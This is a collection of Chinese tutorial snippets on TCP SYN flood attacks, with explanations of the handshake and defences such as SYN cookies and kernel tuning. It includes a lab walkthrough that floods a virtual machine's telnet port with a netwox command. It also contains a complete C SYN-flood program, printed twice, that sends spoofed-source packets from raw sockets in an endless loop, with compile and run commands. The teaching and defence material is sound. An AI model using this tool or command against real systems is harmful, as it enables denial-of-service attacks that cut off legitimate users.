精华内容
下载资源
问答
  • 2021-05-10 20:38:32

    1.SYN flood 攻击

    image.png

    SYN Flood(半开放攻击)是一种拒绝服务(DDoS)攻击,其目的是通过消耗所有可用的服务器资源使服务器不可用于合法流量。通过重复发送初始连接请求(SYN)数据包,攻击者能够压倒目标服务器机器上的所有可用端口,导致目标设备根本不响应合法流量。

    例如:客户端伪造了大量的虚假的IP地址,不断给我们服务器发SYN,而服务器回复ACK+SYN给大量虚假的IP地址,并且使得大量连接处于SYN_RCVD 状态,就会把我们服务器的半连接队列挤爆,从而无法响应那些合法的请求。

    2. 如何应对 SYN Flood 攻击

    2.1 增加 SYN 连接数:tcp_max_syn_backlog

    但是这个只能延缓一下半连接队列爆满的情况

    2.2 减少SYN+ACK重试次数:tcp_synack_retries

    重试次数由 /proc/sys/net/ipv4/tcp_synack_retries控制,默认情况下是 5 次,而我们在被攻击的时候,调小这个值很有必要,可以减少重传的次数,加快连接取消的速度

    2.3 tcp_syncookies 机制

    SYN Cookie是对TCP服务器端的三次握手做一些修改,专门用来防范SYN Flood攻击的一种手段。它的原理是

    1. 在TCP服务器接收到TCP SYN包并返回TCP SYN + ACK包时,不分配一个专门的数据区,而是根据这个SYN包计算出一个cookie值。
    2. 这个cookie作为将要返回的SYN ACK包的初始序列号。
    3. 当客户端返回一个ACK包时,根据包头信息计算cookie,与返回的确认序列号(初始序列号 + 1)进行对比,如果相同,则是一个正常连接,然后,分配资源,建立连接。
    更多相关内容
  • TCP协议SYN Flood攻击,这种攻击方式虽然原始,但是生命力顽强,长久以来在DDoS圈里一直处于德高望重的地位。SYN Flood攻击的影响也不容小觑,从攻击中可以看到,以SYN Flood为主的数十G流量,很容易就造成被攻击...
  • TCP SYN Flood攻击实验:

    千次阅读 2020-12-17 12:38:50
    ​ 使用攻击机对靶机的telnet协议进行TCP SYN Flood攻击。目的是使靶机资源耗尽,无法被远程登录。此攻击对基于TCP的HTTP协议同样生效。 0x02 环境介绍: ​ 攻击机:Kali linux ​ 靶机:ubuntu 20.04 ​ ...

    TCP SYN Flood攻击实验:

    0x01 攻击目的:

    ​ 使用攻击机对靶机的telnet协议进行TCP SYN Flood攻击。目的是使靶机资源耗尽,无法被远程登录。此攻击对基于TCP的HTTP协议同样生效。

    0x02 环境介绍:

    ​ 攻击机:Kali linux

    ​ 靶机:ubuntu 20.04

    ​ 存在形式:vmware之虚机

    ​ 联网方式:NAT

    ​ IP地址:

    ​ Gateway:192.168.8.2/24

    ​ Kali linux:192.168.8.128/24

    ​ Ubuntu20.04:192.168.8.130/24

    0x03 攻击机和靶机的系统状态

    ​ 攻击机:攻击机保持默认状态,无需做额外设置。

    ​ 靶机:

    ​ 靶机安装openbsd-inetd:

    root@francis:/# apt-get install openbsd-inetd
    

    ​ 靶机安装telnetd:

    root@francis:/# apt-get install telnetd
    

    ​ 靶机关闭syncookies功能:

    root@francis:/proc/sys/net/ipv4# echo "0" > tcp_syncookies
    root@francis:/proc/sys/net/ipv4# cat tcp_syncookies 
    0
    

    注:关于syncookie
    SYN Cookie是对TCP服务器端的三次握手协议做的一些修改,专门用来防范SYN Flood攻击的一种手段。它的原理是,在TCP服务器收到TCP SYN包并返回TCP SYN+ACK包时,不分配一个专门的数据区(这样就不会消耗服务器端资源),而是根据这个SYN包计算出一个cookie值。在收到TCP ACK包时,TCP服务器在根据那个cookie值检查这个TCP ACK包的合法性。如果合法,再分配专门的数据区进行处理未来的TCP连接。
    因此本实验中需要将其关闭,才可以实现攻击效果。

    ​ 重启openbsd-inetd服务:

    root@francis:/# systemctl restart openbsd-inetd
    

    ​ 确认telnet协议端口开放状态:看到LISTEN为正常

    root@francis:/# netstat -a | grep telnet
    tcp        0      0 0.0.0.0:telnet          0.0.0.0:*               LISTEN 
    

    0x04 攻击过程

    ​ 攻击机执行如下命令:

    root@kali:~# netwox 76 -i "192.168.8.130" -p "23"
    

    ​ 攻击之前的靶机状态:可以正常登录

    在这里插入图片描述

    ​ 攻击之后的靶机状态:无法正常登录
    在这里插入图片描述

    ​ 攻击之后的靶机telnet连接数:
    在这里插入图片描述

    ​ 攻击时抓到的报文:
    在这里插入图片描述

    攻击时由于火力太猛,导致电脑风扇啸叫。

    扛不住!赶紧关!

    展开全文
  • TCP SYN洪水 (SYN Flood) 攻击原理与实现

    千次阅读 2021-04-07 14:10:42
    TCP协议是 TCP/IP 协议栈中一个重要的协议,平时我们使用的浏览器,APP等大多使用 TCP 协议通讯的,可见 TCP 协议在网络中扮演的角色是多么的重要。 TCP 协议是一个可靠的、面向连接的流协议,由于 TCP 协议是建立...

    TCP协议是 TCP/IP 协议栈中一个重要的协议,平时我们使用的浏览器,APP等大多使用 TCP 协议通讯的,可见 TCP 协议在网络中扮演的角色是多么的重要。

    TCP 协议是一个可靠的、面向连接的流协议,由于 TCP 协议是建立在 IP 协议这种面向无连接的协议,所以 TCP 协议必须自己来维护连接的状态。

    三次握手过程

    TCP 协议通过一种名为 三次握手 的过程来建立客户端与服务端的连接,三次握手 过程的原理如图1:

    图片

    (图一 三次握手过程)

    建立连接三次握手过程如下:

    • 客户端需要发送一个 SYN包 给服务端(包含了客户端初始化序列号),并且将连接的状态设置为 SYN_SENT,这个过程由 connect() 系统调用完成。

    • 服务端接收到客户端发送过来的 SYN包 后,回复一个 SYN+ACK包 给客户端(包含了服务端初始化序列号),并且设置连接的状态为 SYN_RCVD

    • 客户端接收到服务端发送过来的 SYN+ACK包 后,设置连接状态为 ESTABLISHED(表示连接已经建立),并且回复一个 ACK包 给服务端。

    • 服务端接收到客户端发送过来的 ACK包 后,将连接状态设置为 ESTABLISHED(表示连接已经建立)。

    三次握手 过程完成后,一个 TCP 连接就此建立完成。

    SYN Flood攻击原理

    上面介绍了建立一个 TCP 连接的 三次握手 过程,我们可以发现,三次握手 属于一个协商的过程,也就是说客户端与服务端必须严格按照这个过程来进行,否则连接就不能建立。

    这时,如果客户端发送 SYN包 企图与服务端建立连接,但发送完 SYN包 后就不管,那会发送什么事情呢?如图2所示:

    图片

    (图2 SYN-Flood)

    客户端发送一个 SYN包 给服务端后就退出,而服务端接收到 SYN包 后,会回复一个 SYN+ACK包 给客户端,然后等待客户端回复一个 ACK包

    但此时客户端并不会回复 ACK包,所以服务端只能一直等待直到超时。服务端超时后,会重发 SYN+ACK包 给客户端,默认会重试 5 次,而且每次等待的时间都会增加(可以参考 TCP 协议超时重传的实现)。

    另外,当服务端接收到 SYN包 后,会建立一个半连接状态的 Socket。所以,当客户端一直发送 SYN包,但不回复 ACK包,那么将会耗尽服务端的资源,这就是 SYN Flood 攻击

    SYN Flood攻击实验

    接下来,我们通过自己编写代码来进行 SYN Flood攻击 实验。

    因为 SYN Flood攻击 需要构建 TCP 协议头部,所以下面介绍一下 TCP 协议头部的格式,如图3:

    图片

    (图3 TCP 协议头部格式)

    我们定义以下结构来描述 TCP 协议头部:

    struct tcphdr {    unsigned short      sport;    // 源端口    unsigned short      dport;    // 目标端口    unsigned int        seq;      // 序列号    unsigned int        ack_seq;  // 确认号    unsigned char       len;      // 首部长度    unsigned char       flag;     // 标志位    unsigned short      win;      // 窗口大小    unsigned short      checksum; // 校验和    unsigned short      urg;      // 紧急指针};

    下面是设置 TCP 头部的过程:

    • 标志位中的 SYN 字段必须设置为 1,表示这是一个 SYN包,由于 SYN位 位于 flag 字段的第二位,所以可以将 flag 字段设置为 0x02

    • 源端口号和序列号我们可以随机设置一个,目的端口号设置成要攻击的目标端口。

    • 确认号设置为 0,因为我们还不知道服务端的序列号。

    • 窗口大小可以随便设置,但通常不要设置太小(可以设置成1024)。

    • 校验和这个比较复杂,因为 TCP 协议在计算检验和时,要加上一个12字节的伪首部,伪首部格式如下图:

      • 图片

      • 伪首部共有 12 字节,包含 IP 协议头部的一些字段,有如下信息:32位源IP地址32位目的IP地址8位保留字节(置0)8位传输层协议号(TCP是6,UDP是17)16位TCP报文长度(TCP首部+数据)

      • TCP 协议校验和计算三部分:TCP伪首部 + TCP头部 + TCP数据

    • 紧急指针可以设置为 0。

    按照上面的分析,定义 TCP 伪首部的结构如下:

    struct pseudohdr {    unsigned int        saddr;    unsigned int        daddr;    char                zeros;    char                protocol;    unsigned short      length;};

    计算校验和的算法有点复杂,所以这里直接从网上找到一个封装好的函数,如下(有兴趣可以参考 TCP 协议的 RFC 文档):

    unsigned short inlinechecksum(unsigned short *buffer, unsigned short size)     {      unsigned long cksum = 0;
        while (size > 1) {        cksum += *buffer++;        size  -= sizeof(unsigned short);    }
        if (size) {        cksum += *(unsigned char *)buffer;    }
        cksum = (cksum >> 16) + (cksum & 0xffff);    cksum += (cksum >> 16);     
        return (unsigned short )(~cksum);}

    另外,为了在攻击的时候能够设置不同的 IP 地址(因为相同的 IP 地址容易被识别而过滤),我们还需要定义 IP 协议头部。IP 协议头部的格式如图4:

    图片

    (图4 IP 协议头部)

    我们定义以下结构来表示 IP 协议头部:

    struct iphdr {    unsigned char       ver_and_hdrlen;// 版本号与IP头部长度    unsigned char       tos;           // 服务类型    unsigned short      total_len;     // 总长度    unsigned short      id;            // IP包ID    unsigned short      flags;         // 标志位(包括分片偏移量)    unsigned char       ttl;           // 生命周期    unsigned char       protocol;      // 上层协议    unsigned short      checksum;      // 校验和    unsigned int        srcaddr;       // 源IP地址    unsigned int        dstaddr;       // 目标IP地址};

    1. 初始化 IP 头部

    下面我们实现初始化 IP 头部的函数 init_ip_header()

    void init_ip_header(struct iphdr *iphdr, unsigned int srcaddr, unsigned int dstaddr){    int len = sizeof(struct ip) + sizeof(struct tcphdr);
        iphdr->ver_and_hdrlen = (4 << 4 | sizeof(struct iphdr) / sizeof(unsigned int));    iphdr->tos = 0;    iphdr->total_len = htons(len);    iphdr->id = 1;    iphdr->flags = 0x40;    iphdr->ttl = 255;    iphdr->protocol = IPPROTO_TCP;    iphdr->checksum = 0;    iphdr->srcaddr = srcaddr; // 源IP地址    iphdr->dstaddr = dstaddr; // 目标IP地址}

    init_ip_header() 函数比较简单,就是通过传入的源 IP 地址和目标 IP 地址初始化 IP 头部结构。

    2. 初始化 TCP 头部

    接下来,我们要实现初始化 TCP 头部的函数 init_tcp_header()

    void init_tcp_header(struct tcphdr *tcphdr, unsigned short dport){    tcp->sport = htons(rand() % 16383 + 49152);   // 随机生成一个端口    tcp->dport = htons(dport);                    // 目标端口    tcp->seq = htonl(rand() % 90000000 + 2345 );  // 随机生成一个初始化序列号    tcp->ack_seq = 0;     tcp->len = (sizeof(struct tcphdr) / 4 << 4 | 0);    tcp->flag = 0x02;    tcp->win = htons(1024);      tcp->checksum = 0;    tcp->urg = 0;}

    3. 初始化 TCP 伪首部

    现在我们定义一个 TCP 伪首部初始化函数 init_pseudo_header()

    void init_pseudo_header(struct pseudohdr *hdr, unsigned int srcaddr,                         unsigned int dstaddr){    hdr->zero = 0;    hdr->protocol = IPPROTO_TCP;    hdr->length = htons(sizeof(struct tcphdr));    hdr->saddr = srcaddr;    hdr->daddr = dstaddr;}

    4. 构建 SYN 包

    接下来我们要实现最为重要的一个函数,就是构建 SYN包,其实现如下:

    int make_syn_packet(char *packet, int pkt_len, unsigned int daddr,                     unsigned short dport){    char buf[100];    int len;    struct iphdr ip;             // IP 头部    struct tcphdr tcp;           // TCP 头部    struct pseudohdr pseudo;     // TCP 伪头部    unsigned int saddr = rand(); // 随机生成一个源IP地址
        len = sizeof(ip) + sizeof(tcp);
        // 初始化头部信息    init_ip_header(&ip, saddr, daddr);    init_tcp_header(&tcp, dport);    init_pseudo_header(&pseudo, saddr, daddr);
        //计算IP校验和    ip.checksum = checksum((u_short *)&ip, sizeof(ip));
        // 计算TCP校验和    bzero(buf, sizeof(buf));    memcpy(buf , &pseudo, sizeof(pseudo));           // 复制TCP伪头部    memcpy(buf + sizeof(pseudo), &tcp, sizeof(tcp)); // 复制TCP头部    tcp.checksum = checksum((u_short *)buf, sizeof(pseudo) + sizeof(tcp));
        bzero(packet, pkt_len);    memcpy(packet, &ip, sizeof(ip));    memcpy(packet + sizeof(ip), &tcp, sizeof(tcp));        return len;}

    make_syn_packet() 函数主要通过 目标IP地址目标端口 生成一个 SYN包,保存到参数 packet 中,并且返回包的大小。

    5. 创建原始套接字

    由于要发送自己构建的 IP 头部和 TCP 头部,所以必须使用 原始套接字 来发送。原始套接字 在创建时需要指定 SOCK_RAW 参数,下面我们定义一个创建原始套接字的函数:

    int make_raw_socket(){    int fd;    int on = 1;
        // 创建一个原始套接字, 指定其关注TCP协议    fd = socket(AF_INET, SOCK_RAW, IPPROTO_TCP);    if (fd == -1) {        return -1;    }
        // 设置需要手动构建IP头部    if (setsockopt(fd, IPPROTO_IP, IP_HDRINCL, (char *)&on, sizeof(on)) < 0) {        close(fd);        return -1;    }
        return fd;}

    在调用 socket() 函数创建套接字时,指定第二个参数为 SOCK_RAW,表示创建的套接字为原始套接字。然后调用 setsockopt() 函数设置 IP 头部由我们自己构建。

    6. 发送SYN包

    下面我们实现发送 SYN包 的函数:

    int send_syn_packet(int sockfd, unsigned int addr, unsigned short port){    struct sockaddr_in skaddr;    char packet[256];    int pkt_len;
        bzero(&skaddr, sizeof(skaddr));
        skaddr.sin_family = AF_INET;    skaddr.sin_port = htons(port);    skaddr.sin_addr.s_addr = addr;
        pkt_len = make_syn_packet(packet, 256, addr, port);
        return sendto(sockfd, packet, pkt_len, 0, (struct sockaddr *)&skaddr,                  sizeof(struct sockaddr));}

    send_syn_packet() 函数需要传入原始套接字、目标IP地址和目标端口,然后通过调用 sendto() 函数向服务端发送一个 SYN包

    7. 主函数

    最后,我们来实现主函数 main()

    int main(int argc, char *argv[]){    unsigned int addr;    unsigned short port;    int sockfd;
        if (argc < 3) {        fprintf(stderr, "Usage: synflood <address> <port>\n");        exit(1);    }
        addr = inet_addr(argv[1]);  // 获取目标IP    port = atoi(argv[2]);       // 获取目标端口
        if (port < 0 || port > 65535) {        fprintf(stderr, "Invalid destination port number: %s\n", argv[2]);        exit(1);    }
        sockfd = make_raw_socket(); // 创建原始socket    if (sockfd == -1) {        fprintf(stderr, "Failed to make raw socket\n");        exit(1);    }
        for (;;) {        if (send_syn_packet(sockfd, addr, port) < 0) { // 发送SYN包            fprintf(stderr, "Failed to send syn packet\n");        }    }
        close(sockfd);
        return 0;}

    main() 函数也很简单,首先从命令行读取到 目标 IP 地址目标端口,然后调用 make_raw_socket() 创建一个原始套接字,最后在一个无限循环中不断向服务端发送 SYN包

    完整的源代码在:https://github.com/liexusong/synflood/blob/main/synflood.c


    现在我们通过以下命令来编译这个程序:

    root@vagrant]$ gcc -o synflood synflood.c

    然后使用以下命令运行程序:

    root@vagrant]$ sudo synflood 127.0.0.1 80

    上面的命令就是攻击本地的80端口,我们可以使用以下命令查看TCP连接的状态:

    root@vagrant]$ netstat -np|grep tcp

    tcp        0      0 127.0.0.1:80            229.20.1.110:51861      SYN_RECV    -tcp        0      0 127.0.0.1:80            239.137.18.30:52104     SYN_RECV    -tcp        0      0 127.0.0.1:80            233.90.28.10:65322      SYN_RECV    -tcp        0      0 127.0.0.1:80            236.13.8.74:57922       SYN_RECV    -tcp        0      0 127.0.0.1:80            229.81.76.55:52345      SYN_RECV    -tcp        0      0 127.0.0.1:80            236.226.188.82:53560    SYN_RECV    -tcp        0      0 127.0.0.1:80            236.245.238.56:49499    SYN_RECV    -tcp        0      0 127.0.0.1:80            224.222.45.20:49270     SYN_RECV    -tcp        0      0 127.0.0.1:80            230.2.130.115:63709     SYN_RECV    -tcp        0      0 127.0.0.1:80            239.233.180.85:59636    SYN_RECV    -tcp        0      0 127.0.0.1:80            236.168.175.81:60326    SYN_RECV    -tcp        0      0 127.0.0.1:80            235.27.77.111:65276     SYN_RECV    -tcp        0      0 127.0.0.1:80            236.4.252.114:60898     SYN_RECV    -tcp        0      0 127.0.0.1:80            226.62.209.29:64605     SYN_RECV    -tcp        0      0 127.0.0.1:80            232.106.157.82:56451    SYN_RECV    -tcp        0      0 127.0.0.1:80            235.247.175.35:54963    SYN_RECV    -tcp        0      0 127.0.0.1:80            231.100.248.95:58660    SYN_RECV    -tcp        0      0 127.0.0.1:80            228.113.70.57:60157     SYN_RECV    -tcp        0      0 127.0.0.1:80            236.76.245.32:59218     SYN_RECV    -tcp        0      0 127.0.0.1:80            232.76.169.15:50441     SYN_RECV    -tcp        0      0 127.0.0.1:80            236.191.51.34:53060     SYN_RECV    -tcp        0      0 127.0.0.1:80            227.215.119.119:55480   SYN_RECV    -tcp        0      0 127.0.0.1:80            227.185.145.18:56882    SYN_RECV    -tcp        0      0 127.0.0.1:80            234.73.216.62:58793     SYN_RECV    -tcp        0      0 127.0.0.1:80            234.183.17.49:59739     SYN_RECV    -tcp        0      0 127.0.0.1:80            235.233.86.125:55530    SYN_RECV    -tcp        0      0 127.0.0.1:80            229.117.216.112:52235   SYN_RECV    -tcp        0      0 127.0.0.1:80            238.182.168.62:65214    SYN_RECV    -tcp        0      0 127.0.0.1:80            225.88.213.112:62171    SYN_RECV    -tcp        0      0 127.0.0.1:80            225.218.65.88:60597     SYN_RECV    -tcp        0      0 127.0.0.1:80            239.116.219.23:58731    SYN_RECV    -tcp        0      0 127.0.0.1:80            232.99.36.55:51906      SYN_RECV    -tcp        0      0 127.0.0.1:80            225.198.211.64:52338    SYN_RECV    -tcp        0      0 127.0.0.1:80            230.229.104.121:62795   SYN_RECV    -...

    从上面的结果可以看出,服务器已经生成了很多半连接状态的 TCP 连接,表示我们的攻击已经生效。

    总结

    本文主要介绍了 SYN Flood攻击 的原理与实施方式,本文的本意是通过理解攻击原理来更好的防范被攻击,而不是教你怎么去攻击,所以千万别用于恶意攻击、千万别用于恶意攻击、千万别用于恶意攻击(重要的事情讲三次)。

    另外,防止 SYN Flood攻击 的方法很多,这里就不介绍了,有兴趣可以查阅相关的资料。

     

    参考资料:1. https://blog.csdn.net/zhangskd/article/details/11770647

                     2. https://blog.csdn.net/jiange_zh/article/details/50446172

    ------------------------------------------------------------------------------------------------------------------

    #include <stdio.h>
    #include <ctype.h>
    #include <unistd.h>
    #include <fcntl.h>
    #include <signal.h>
    #include <sys/time.h>
    #include <sys/types.h>
    #include <sys/socket.h>
    #include <string.h>
    #include <netdb.h>
    #include <errno.h>
    #include <stdlib.h>
    #include <time.h>
    #include <arpa/inet.h>
    
    struct iphdr
    {
        unsigned char       ver_and_hdrlen;// 版本号与IP头部长度
        unsigned char       tos;           // 服务类型
        unsigned short      total_len;     // 总长度
        unsigned short      id;            // IP包ID
        unsigned short      flags;         // 标志位(包括分片偏移量)
        unsigned char       ttl;           // 生命周期
        unsigned char       protocol;      // 上层协议
        unsigned short      checksum;      // 校验和
        unsigned int        srcaddr;       // 源IP地址
        unsigned int        dstaddr;       // 目标IP地址
    };
    
    struct tcphdr
    {
        unsigned short      sport;    // 源端口
        unsigned short      dport;    // 目标端口
        unsigned int        seq;      // 序列号
        unsigned int        ack_seq;  // 确认号
        unsigned char       len;      // 首部长度
        unsigned char       flag;     // 标志位
        unsigned short      win;      // 窗口大小
        unsigned short      checksum; // 校验和
        unsigned short      urg;      // 紧急指针
    };
    
    struct pseudohdr
    {
        unsigned int        saddr;
        unsigned int        daddr;
        char                zeros;
        char                protocol;
        unsigned short      length;
    };
    
    unsigned short inline
    checksum(unsigned short *buffer, unsigned short size)
    {
        unsigned long cksum = 0;
    
        while (size > 1) {
            cksum += *buffer++;
            size  -= sizeof(unsigned short);
        }
    
        if (size) {
            cksum += *(unsigned char *)buffer;
        }
    
        cksum = (cksum >> 16) + (cksum & 0xffff);
        cksum += (cksum >> 16);
    
        return (unsigned short )(~cksum);
    }
    
    void init_ip_header(struct iphdr *ip, unsigned int srcaddr,
                        unsigned int dstaddr)
    {
        int len = sizeof(struct iphdr) + sizeof(struct tcphdr);
    
        ip->ver_and_hdrlen = (4<<4 | sizeof(struct iphdr)/sizeof(unsigned int));
        ip->tos = 0;
        ip->total_len = htons(len);
        ip->id = 1;
        ip->flags = 0x40;
        ip->ttl = 255;
        ip->protocol = IPPROTO_TCP;
        ip->checksum = 0;
        ip->srcaddr = srcaddr; // 源IP地址
        ip->dstaddr = dstaddr; // 目标IP地址
    }
    
    void init_tcp_header(struct tcphdr *tcp, unsigned short dport)
    {
        tcp->sport = htons(rand() % 16383 + 49152);   // 随机生成一个端口
        tcp->dport = htons(dport);                    // 目标端口
        tcp->seq = htonl(rand() % 90000000 + 2345 );  // 随机生成一个初始化序列号
        tcp->ack_seq = 0;
        tcp->len = (sizeof(struct tcphdr) / 4 << 4 | 0);
        tcp->flag = 0x02;
        tcp->win = htons(1024);
        tcp->checksum = 0;
        tcp->urg = 0;
    }
    
    void init_pseudo_header(struct pseudohdr *pseudo, unsigned int srcaddr,
                            unsigned int dstaddr)
    {
        pseudo->zeros = 0;
        pseudo->protocol = IPPROTO_TCP;
        pseudo->length = htons(sizeof(struct tcphdr));
        pseudo->saddr = srcaddr;
        pseudo->daddr = dstaddr;
    }
    
    int make_syn_packet(char *packet, int pkt_len, unsigned int daddr,
                        unsigned short dport)
    {
        char buf[100];
        int len;
        struct iphdr ip;          //IP 头部
        struct tcphdr tcp;        //TCP 头部
        struct pseudohdr pseudo;  //TCP 伪头部
        unsigned int saddr = rand();
    
        len = sizeof(ip) + sizeof(tcp);
    
        // 初始化头部信息
        init_ip_header(&ip, saddr, daddr);
        init_tcp_header(&tcp, dport);
        init_pseudo_header(&pseudo, saddr, daddr);
    
        //计算IP校验和
        ip.checksum = checksum((u_short *)&ip, sizeof(ip));
    
        // 计算TCP校验和
        bzero(buf, sizeof(buf));
        memcpy(buf , &pseudo, sizeof(pseudo));           // 复制TCP伪头部
        memcpy(buf + sizeof(pseudo), &tcp, sizeof(tcp)); // 复制TCP头部
        tcp.checksum = checksum((u_short *)buf, sizeof(pseudo) + sizeof(tcp));
    
        bzero(packet, pkt_len);
        memcpy(packet, &ip, sizeof(ip));
        memcpy(packet + sizeof(ip), &tcp, sizeof(tcp));
    
        return len;
    }
    
    int make_raw_socket()
    {
        int fd;
        int on = 1;
    
        // 创建一个原始套接字, 指定其关注TCP协议
        fd = socket(AF_INET, SOCK_RAW, IPPROTO_TCP);
        if (fd == -1) {
            return -1;
        }
    
        // 设置需要手动构建IP头部
        if (setsockopt(fd, IPPROTO_IP, IP_HDRINCL, (char *)&on, sizeof(on)) < 0) {
            close(fd);
            return -1;
        }
    
        return fd;
    }
    
    int send_syn_packet(int sockfd, unsigned int addr, unsigned short port)
    {
        struct sockaddr_in skaddr;
        char packet[256];
        int pkt_len;
    
        bzero(&skaddr, sizeof(skaddr));
    
        skaddr.sin_family = AF_INET;
        skaddr.sin_port = htons(port);
        skaddr.sin_addr.s_addr = addr;
    
        pkt_len = make_syn_packet(packet, 256, addr, port);
    
        return sendto(sockfd, packet, pkt_len, 0, (struct sockaddr *)&skaddr,
                      sizeof(struct sockaddr));
    }
    
    int main(int argc, char *argv[])
    {
        unsigned int addr;
        unsigned short port;
        int sockfd;
    
        if (argc < 3) {
            fprintf(stderr, "Usage: synflood <address> <port>\n");
            exit(1);
        }
    
        addr = inet_addr(argv[1]);
        port = atoi(argv[2]);
    
        if (port < 0 || port > 65535) {
            fprintf(stderr, "Invalid destination port number: %s\n", argv[2]);
            exit(1);
        }
    
        sockfd = make_raw_socket();
        if (sockfd == -1) {
            fprintf(stderr, "Failed to make raw socket\n");
            exit(1);
        }
    
        for (;;) {
            if (send_syn_packet(sockfd, addr, port) < 0) {
                fprintf(stderr, "Failed to send syn packet\n");
            }
        }
    
        close(sockfd);
    
        return 0;
    }

     

    展开全文
  • TCP SYN Flood,又称SYN洪泛攻击,是目前最为有效和流行的一种拒绝服务攻击形式,它利用TCP三次握手协议的缺陷,向目标主机发送大量的伪造源地址的SYN连接请求,消耗目标主机的连接队列资源,从而不能够为正常用户...

    前言

    • 靶机1:seedubuntu 12.01,IP:192.168.199.138
    • 靶机2:WindowsXP SP2,IP:192.168.199.135
    • 攻击机:Kali-2020.4,IP:192.168.199.129
    • 工具:netwox

    原理

    TCP SYN Flood,又称SYN洪泛攻击,是目前最为有效和流行的一种拒绝服务攻击形式,它利用TCP三次握手协议的缺陷,向目标主机发送大量的伪造源地址的SYN连接请求,消耗目标主机的连接队列资源,从而不能够为正常用户提供服务。

    SYN Flood攻击

    seedubuntu中查看当前23端口连接信息,发现是空白的

    netstat -antu | grep :23
    

    在这里插入图片描述

    XP对seedubuntu发起telnet请求,可正常访问

    telnet 192.168.199.138
    

    在这里插入图片描述

    在kali发起攻击

    netwox 76 -i 192.168.199.138 -p 23
    

    在seedubuntu再次查看,发现23端口充斥大量的syn请求

    在这里插入图片描述

    XP的连接直接被拒绝服务了

    在这里插入图片描述

    对SYN Flood攻击的防御

    SYN Flood属于dos攻击的一种,基于ip欺骗原理实现的,所以可以通过设置防火墙从网络层防御

    linux中使用syn cookie来防御synflood,首先查看参数值

    cat /proc/sys/net/ipv4/tcp_syncookies
    

    结果为1即为开启,结果为0即未打开,通过此命令进行参数修改:

    echo 1 > /proc/sys/net/ipv4/tcp_syncookies
    

    另外,设置syn_recv超时时限,也能防御syn flood

    展开全文
  • SYN Flood攻击原理与防范

    万次阅读 2016-10-05 16:46:17
    SYN Flood是当前最流行的DoS(拒绝服务攻击)与DDoS(分布式拒绝服务攻击)的方式之一,它是利用TCP协议缺陷,发送大量伪造的TCP连接请求,从而使得被攻击方资源耗尽(CPU满负荷或内存不足)的攻击方式,最终导致系统或...
  • TCP SYN Flood攻击与防御实验

    千次阅读 2020-11-05 09:35:02
    DoS(拒绝服务攻击) DDoS(分布式拒绝服务攻击) ...TCP-SYN Flood攻击又称半开式连接攻击,每当我们进行一次标准的TCP连接,都会有一个三次握手的过程,而TCP-SYN Flood在它的实现过程中只有前两个步骤。这样,服务
  • TCP SYN-Flood攻击

    千次阅读 2019-01-29 14:46:03
    但是,在现网中单包攻击只占了很小一部分比例,更多的攻击还是集中在流量型攻击和应用层攻击。本期强叔将继续为大家讲解一下现网上常见的流量型攻击。   过去,攻击者所面临的主要问题是网络带宽,由于较小的网络...
  • 图一 图二 根据图一图二可以看出 源地址通过80端口发送TCP数据包至WEB服务器,在WEB服务器回传消息时源地址拒收消息导致WEB服务器重复发送,导致WEB服务器消息通道堵塞造成WEB服务不可用状态 SYN Flood攻击详细...
  • TCP SYN-Flood攻击解决办法分析

    千次阅读 2019-09-29 23:21:39
    到目前为止,能够有效防范SYN Flood攻击的手段并不多, SYN Cookie就是其中最著名的一种。 SYN Flood攻击是一种典型的拒绝服务(Denial of Service)攻击。所谓的拒绝服务攻击就是通过进行攻击,使受害主机或 网络...
  • 【网络编程】SYN Flood (SYN洪水攻击) 源代码分析

    万次阅读 多人点赞 2016-01-01 22:41:11
    原理1、TCP握手协议第一次握手:建立连接时,客户端发送syn包(syn=j)到服务器,并进入SYN_SEND状态,等待服务器确认;第二次握手:服务器收到syn包,必须确认客户的SYN(ack=j+1),同时自己也发送一个SYN包(syn=k...
  • DDoS攻击--Syn_Flood攻击防护详解(TCP)

    万次阅读 多人点赞 2018-08-22 17:25:19
    Syn-Flood攻击是当前网络上最为常见的DDoS攻击,也是最为经典的拒绝服务攻击,它利用TCP协议实现上的一个缺陷,通过向网络服务所在端口发送大量的伪造源地址的攻击报文,就可能造成目标服务器中的半开连接队列被占...
  • SYN Flood攻击

    千次阅读 2020-06-23 23:07:13
    这是一种利用TCP协议缺陷,发送大量伪造的TCP连接请求,使被攻击方资源耗尽(CPU满负荷或内存不足)的攻击方式 如果一个计算机系统崩溃或其带宽耗尽或其硬盘被填满,导致其不能提供正常的服务,就构成拒绝服务 TCP...
  • syn flood攻击原理及防范

    千次阅读 2021-04-26 10:27:42
    sync攻击原理 DoS是Denial of Service的简称,即拒绝服务,造成DoS的攻击行为被称为DoS攻击,其目的是使计算机或网络无法提供正常的服务。最常见的DoS攻击有计算机网络带宽...SYN Flood攻击如何工作? 通过利用TCP连接
  • Syn Flood 攻击

    千次阅读 2020-03-15 19:42:55
    SYN Flood攻击指的是一种常见的拒绝服务攻击。这种攻击可能对主机实施,阻止主机处理...SYN Flood攻击是一种利用TCP协议缺陷,发送大量伪造的TCP连接请求,常用假冒的IP或IP号段发来海量的请求连接的第一个握手包...
  • SYN flood攻击SYN cookie原理分析

    千次阅读 2020-02-21 20:40:57
    最近在学习《计算机网络》,课程布置了一个网络攻击的作业 SYN Flooding Attack ,本篇博客就本次实验做一个完整的实验报告及总结。 所用平台seed简介 SEED:计算机安全教育的教学实验平台 http://www.cis.syr.edu/...
  • TCP协议SYN Flood攻击,这种攻击方式虽然原始,但是生命力顽强,长久以来在DDoS圈里一直处于德高望重的地位。SYN Flood攻击的影响也不容小觑,从攻击事件中可以看到,以SYN Flood为主的数十G流量,很容易就造成被...
  • SYN攻击属于DOS攻击的一种,它利用TCP协议缺陷,通过发送大量的半连接请求,耗费CPU和内存资源。
  • (1) syn攻击利用TCP协议的缺陷,通过发送大量的半连接请求,耗费CPU和内存资源。服务器收到连接请求,将此信息加入到未连接队列,并发送请求包给客户,此时进入SYN_RECV状态。当服务器未收到客户端的确认包时,...
  • SYN-Flood攻击与防御

    2021-05-26 21:52:56
    SYN-Flood是一种利用TCP协议缺陷,发送大量伪造的TCP连接请求。(首先需要了解TCP三次握手,我其他博客有详细解释,这里就不在赘述了) 一、怎么进行攻击攻击者向服务器发送大量的SYN报文后,而不进行TCP第三次...
  • SYN攻击是Dos攻击之一,注意此处的Dos 指的是Denial of Service,简写DOS。新人千万别以为是dos操作系统。下面上干货。 有关tcp的介绍,已经在 互联网协议解析(一) | TCP 与UDP 中进行了全面的介绍。如果有需要的...
